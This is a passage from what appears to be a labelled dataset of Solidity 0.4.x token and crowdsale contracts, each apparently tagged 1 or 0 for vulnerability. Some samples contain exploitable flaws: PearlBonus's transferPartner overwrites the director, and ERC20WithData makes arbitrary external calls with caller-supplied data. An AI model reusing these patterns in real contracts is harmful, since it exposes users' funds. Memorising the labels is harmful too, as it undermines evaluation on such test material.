uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract ZUE is StandardToken, Ownable
{
string public name = "ZUE";
string public symbol = "ZUEN";
uint public decimals = 18;
uint private constant initialSupply = 690 * 1e6 * 1e18;
function ZUE() public
{
owner = msg.sender;
totalSupply = initialSupply;
balances[owner] = initialSupply;
}
} | 1 |
pragma solidity ^0.4.18;
interface OysterPearl {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public;
}
contract PearlBonus {
address public pearlContract = 0x1844b21593262668B7248d0f57a220CaaBA46ab9;
OysterPearl pearl = OysterPearl(pearlContract);
address public director;
address public partner;
uint8 public share;
uint256 public funds;
bool public saleClosed;
function PearlBonus() public {
director = msg.sender;
partner = 0x5F5E3bc34347e1f10C7a0E932871D8DbFBEF9f87;
share = 10;
funds = 0;
saleClosed = false;
}
modifier onlyDirector {
require(msg.sender == director);
_;
}
modifier onlyPartner {
require(msg.sender == partner);
_;
}
function closeSale() public onlyDirector returns (bool success) {
require(!saleClosed);
saleClosed = true;
return true;
}
function openSale() public onlyDirector returns (bool success) {
require(saleClosed);
saleClosed = false;
return true;
}
function rescue(address _send, uint256 _amount) public onlyDirector {
pearl.transfer(_send, _amount);
}
function transferDirector(address newDirector) public onlyDirector {
director = newDirector;
}
function transferPartner(address newPartner) public onlyPartner {
director = newPartner;
}
function withdrawFunds() public onlyDirector {
director.transfer(this.balance);
}
function () public payable {
require(!saleClosed);
require(msg.value >= 1 finney);
uint256 amount = msg.value * 50000;
require(amount <= pearl.balanceOf(this));
pearl.transfer(msg.sender, amount);
funds += msg.value;
uint256 partnerShare = (this.balance / 100) * share;
director.transfer(this.balance - partnerShare);
partner.transfer(partnerShare);
}
} | 0 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC20WithData is StandardToken {
function approveAndCall(address _spender, uint256 _value, bytes _data) public returns (bool) {
require(_spender != address(this));
super.approve(_spender, _value);
require(_spender.call(_data));
return true;
}
function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transfer(_to, _value);
require(_to.call(_data));
return true;
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
) public returns (bool)
{
require(_to != address(this));
super.transferFrom(_from, _to, _value);
require(_to.call(_data));
return true;
}
function increaseApprovalAndCall(address _spender, uint _addedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
require(_spender.call(_data));
return true;
}
function decreaseApprovalAndCall(address _spender, uint _subtractedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
require(_spender.call(_data));
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract AleaCoin is DetailedERC20, MintableToken, BurnableToken, ERC20WithData {
modifier canTransfer() {
require(mintingFinished);
_;
}
function AleaCoin()
DetailedERC20("Alea Coin", "ALEA", 18) public
{}
function transfer(address _to, uint256 _value) canTransfer public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transferAndCall(address _to, uint256 _value, bytes _data) canTransfer public returns (bool) {
return super.transferAndCall(_to, _value, _data);
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data)
canTransfer public returns (bool)
{
return super.transferFromAndCall(
_from,
_to,
_value,
_data
);
}
function transferAnyERC20Token(address _tokenAddress, uint256 _tokens) onlyOwner public returns (bool success) {
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(now >= openingTime && now <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= now);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return now > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract AleaPrivateSale is TimedCrowdsale, MintedCrowdsale, Ownable {
bool public initiated = false;
uint256 public cap;
address public companyWallet;
address public teamWallet;
address public advisorWallet;
address public reserveWallet;
TokenTimelock public companyTimeLock;
TokenTimelock public teamTimeLock;
uint256 public companyTokens = 40000000 * (10 ** 18);
uint256 public teamTokens = 16000000 * (10 ** 18);
uint256 public advisorTokens = 20000000 * (10 ** 18);
uint256 public reserveTokens = 4000000 * (10 ** 18);
function AleaPrivateSale(
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
uint256 _tokenCap,
address _token
)
TimedCrowdsale(_startTime, _endTime)
Crowdsale(_rate, _wallet, ERC20(_token))
public
{
require(_tokenCap != 0);
cap = (_tokenCap * (10 ** 18)).div(_rate);
}
function initSale(
address _companyWallet,
address _teamWallet,
address _advisorWallet,
address _reserveWallet
) public onlyOwner
{
require(!initiated);
require(_companyWallet != 0x0);
require(_teamWallet != 0x0);
require(_advisorWallet != 0x0);
require(_reserveWallet != 0x0);
companyWallet = _companyWallet;
teamWallet = _teamWallet;
advisorWallet = _advisorWallet;
reserveWallet = _reserveWallet;
_deliverTokens(companyWallet, companyTokens.div(2));
companyTimeLock = new TokenTimelock(token, companyWallet, uint64(1559339940));
_deliverTokens(address(companyTimeLock), companyTokens.div(2));
teamTimeLock = new TokenTimelock(token, teamWallet, uint64(1577833140));
_deliverTokens(address(teamTimeLock), teamTokens);
_deliverTokens(advisorWallet, advisorTokens);
_deliverTokens(reserveWallet, reserveTokens);
initiated = true;
}
function transferTokenOwnership(address _newOwner) public onlyOwner {
require(ended());
require(_newOwner != 0x0);
Ownable(token).transferOwnership(_newOwner);
}
function started() public view returns(bool) {
return now >= openingTime;
}
function ended() public view returns(bool) {
return hasClosed() || capReached();
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function transferAnyERC20Token(address _tokenAddress, uint256 _tokens) onlyOwner public returns (bool success) {
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
} | 0 |
pragma solidity ^0.4.18;
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.2';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount) return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract ATC is MiniMeToken {
mapping (address => bool) public blacklisted;
bool public generateFinished;
function ATC(address _tokenFactory)
MiniMeToken(
_tokenFactory,
0x0,
0,
"Aston Token",
18,
"ATC",
false
) {}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
require(generateFinished == false);
return super.generateTokens(_owner, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
require(blacklisted[_from] == false);
return super.doTransfer(_from, _to, _amount);
}
function finishGenerating() public onlyController returns (bool success) {
generateFinished = true;
return true;
}
function blacklistAccount(address tokenOwner) public onlyController returns (bool success) {
blacklisted[tokenOwner] = true;
return true;
}
function unBlacklistAccount(address tokenOwner) public onlyController returns (bool success) {
blacklisted[tokenOwner] = false;
return true;
}
} | 0 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
